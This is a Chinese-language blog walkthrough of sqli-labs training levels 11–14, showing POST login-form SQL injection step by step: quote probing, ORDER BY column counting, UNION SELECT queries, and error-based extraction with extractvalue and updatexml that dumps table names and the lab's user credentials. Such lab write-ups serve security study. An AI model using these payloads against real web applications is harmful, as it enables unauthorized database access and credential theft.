SQL隱碼攻擊【sqli靶場第11-14關】(三)

大象只为你發表於2024-11-14

SQL隱碼攻擊【sqli靶場第11-14關】(三)

★★免責宣告★★
文章中涉及的程式(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將資訊做其他用途,由Ta承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。

0、總體思路

先確認是否可以SQL隱碼攻擊,使用單雙引號,1/0,括號測試 ' " 1/0 ),頁面顯示不同內容或響應長度來確定。存在SQL隱碼攻擊後則開始構造輪子進行驗證,猜出資料庫,使用者名稱,表名,欄位名,有沒有檔案漏洞等。

為方便驗證提交攔截到BP,右擊到Repeater修改引數值進行驗證看響應內容。

特殊字元說明

+表示空格
--表示註釋

以下內容驗證都是在uname=後面構造進行驗證。

1、Less11

POST - Error Based - Single quotes- String

1.1、判斷是否存在SQL隱碼攻擊

正常響應長度

輸入帶單引號',響應長度有變化

往下拉看到有提示錯誤資訊,可以確定可以SQL隱碼攻擊

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

1.2、確定查詢欄位個數

從介面上看應該是2個,但還是以確定結果為準

# 輸入內容
'+order+by+3--+

# 關鍵結果
Unknown column '3' in 'order clause'</br>

# 修改為2
'+order+by+2--+

# 關鍵結果
Your Login name:admin<br>
Your Password:admin<br>

所以可以確定的是查詢欄位是2個,剛好又是我輸入的是弱口令賬戶:admin,後面密碼匹配條件又被我註釋了,賬號密碼就拿到了,是可以登入成功。接下來看是否可拿到其他資料,比如資料庫等。

1.3、聯合查詢

透過union語句方式發現沒辦法拿到其他資料,需要嘗試報錯函式

# 驗證內容1
'+and+1=2+union+select+1,2--+

# 輸出內容
Your Login name:1<br>
Your Password:2<br>

# 驗證內容2
'+and+1=1+union+select+1,2--+
# 驗證內容2
'+and+1=1+union+select+database(),user()--+

# 輸出內容
Your Login name:admin<br>
Your Password:admin<br>

1.4、報錯函式

1.4.1、獲取資料庫名和賬號

報錯函式extractvalue,0x7e是~的ASCII碼,字元型後面有加單引號,數字型沒有,

# 字元型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#數字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1

根據報錯函式獲取到資料庫名,登入名

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 輸出內容
XPATH syntax error: '~security~'</br>

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 輸出內容
XPATH syntax error: '~root@localhost~'</br>

報錯函式updatexml,字元型後面有加單引號,數字型沒有,以下的函式結果和上面的內容獲取的結果是一樣的

# 字元型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#數字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1

1.4.2、獲取表名

使用updatexml獲取庫的表名,0x23是#的ASCII碼

# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1

# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>

從獲取到的資料庫表名,users應該就是儲存資料庫登入名的表了。

注意:在靶場實驗過程中可獲取:資料庫=>表=>欄位=>資料 ,但在實戰過程中,到資料庫這個步驟就行,不要去查資料。

1.4.3、獲取表對應欄位

# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1

# 輸出內容
XPATH syntax error: '#id,username,password'</br>

1.4.4、獲取表資料

# 輸入內容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1

# 輸出內容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>

1.5、驗證登入

使用賬號/密碼:Dumb/Dumb,登入成功

2、Less12

POST - Error Based - Double quotes- String-with twist

2.1、判斷是否存在SQL隱碼攻擊

正常響應長度

輸入帶單引號'發現沒有變化

嘗試用雙引號",響應長度有變化

往下拉看到有提示錯誤資訊,可以確定可以SQL隱碼攻擊

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

2.2、確定查詢欄位個數

從介面上看應該是2個,但還是以確定結果為準

# 輸入內容
"+order+by+3--+

# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>

從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證

# 輸入內容
")+order+by+3--+

# 輸出結果
Unknown column '3' in 'order clause'</br>

# 修改為2
")+order+by+2--+

# 輸出結果
Your Login name:admin<br>
Your Password:admin<br>

所以可以確定的是查詢欄位是2個,剛好又是我輸入的是弱口令賬戶:admin,後面密碼匹配條件又被我註釋了,賬號密碼就拿到了,是可以登入成功。接下來看是否可拿到其他資料,比如資料庫等。

注意後面的所有內容破解前面部分都是需要")把前面語句閉合。

2.3、聯合查詢

2.3.1、獲取資料庫名和賬號

透過union語句方式查詢資料庫,使用者名稱。

# 輸入內容
")+and+1=2+union+select+database(),user()--+

# 輸出結果
Your Login name:security<br>
Your Password:root@localhost<br>

2.3.2、獲取表名

上面得到的資料庫,進一步獲取表名

# 輸入內容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+

# 輸出結果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>

從獲取到的資料庫表名,users應該就是儲存資料庫登入名的表了。

2.3.3、獲取表對應欄位

# 輸入內容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+

# 輸出結果
Your Login name:1<br>
Your Password:id,username,password<br>

2.3.4、獲取表資料

# 輸入內容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+

# 輸出結果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>

賬號/密碼有點多,隨便找一個進行驗證。

2.4、驗證登入

使用賬號/密碼:admin3/admin3,登入成功

3、Less13

POST - Double Injection - Single quotes- String -with twist

3.1、判斷是否存在SQL隱碼攻擊

正常響應長度

輸入帶單引號',響應長度有變化

往下拉看到有提示錯誤資訊,可以確定可以SQL隱碼攻擊

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1

3.2、確定查詢欄位個數

從介面上看應該是2個,但還是以確定結果為準

# 輸入內容
'+order+by+3--+

# 輸出結果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>

從錯誤結果來看是少了括號)閉合,因此調整輪子加上括號)驗證

# 輸入內容
')+order+by+3--+

# 輸出結果
Unknown column '3' in 'order clause'</br>

# 修改為2
')+order+by+2--+

# 輸出結果--沒有報錯內容

所以可以確定的是查詢欄位是2個

注意後面的所有內容破解前面部分都是需要')把前面語句閉合。

3.3、聯合查詢

透過union語句方式發現沒辦法拿到其他資料,需要嘗試報錯函式

# 輸入內容
')+and+1=1+union+select+database(),user()--+

3.4、報錯函式

3.4.1、獲取資料庫名和賬號

根據報錯函式獲取到資料庫名,登入名

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 輸出內容
XPATH syntax error: '~security~'</br>

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 輸出內容
XPATH syntax error: '~root@localhost~'</br>

3.4.2、獲取表名

使用updatexml獲取庫的表名,0x23是#的ASCII碼,前面部分加上')用來閉合前面的語句,後面=1而不是='1,再加上--+用於註釋後面的語句,獲取了表名了。

# 輸入內容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 輸出內容
XPATH syntax error: '#emails,referers,uagents,users'</br>

4、Less14

POST - Double Injection - Single quotes- String -with twist

4.1、判斷是否存在SQL隱碼攻擊

正常響應長度

輸入帶雙引號",響應長度有變化

往下拉看到有提示錯誤資訊,可以確定可以SQL隱碼攻擊

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>

4.2、確定查詢欄位個數

從介面上看應該是2個,但還是以確定結果為準

# 輸入內容
"+order+by+3--+

# 輸出結果
Unknown column '3' in 'order clause'</br>

# 修改為2
"+order+by+2--+

# 輸出結果--沒有報錯內容

所以可以確定的是查詢欄位是2個。

4.3、聯合查詢

透過union語句方式發現沒辦法拿到其他資料,需要嘗試報錯函式

# 輸入內容
"+and+1=1+union+select+database(),user()--+

4.4、報錯函式

4.4.1、獲取資料庫名和賬號

根據報錯函式獲取到資料庫名,登入名

# 輸入內容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1

# 輸出內容
XPATH syntax error: '~security~'</br>

# 輸入內容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1

# 輸出內容
XPATH syntax error: '~root@localhost~'</br>

5、資料獲取

sqli-labs靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》

6、我的公眾號

敬請關注我的公眾號:大象只為你,持續更新技術知識中......

相關文章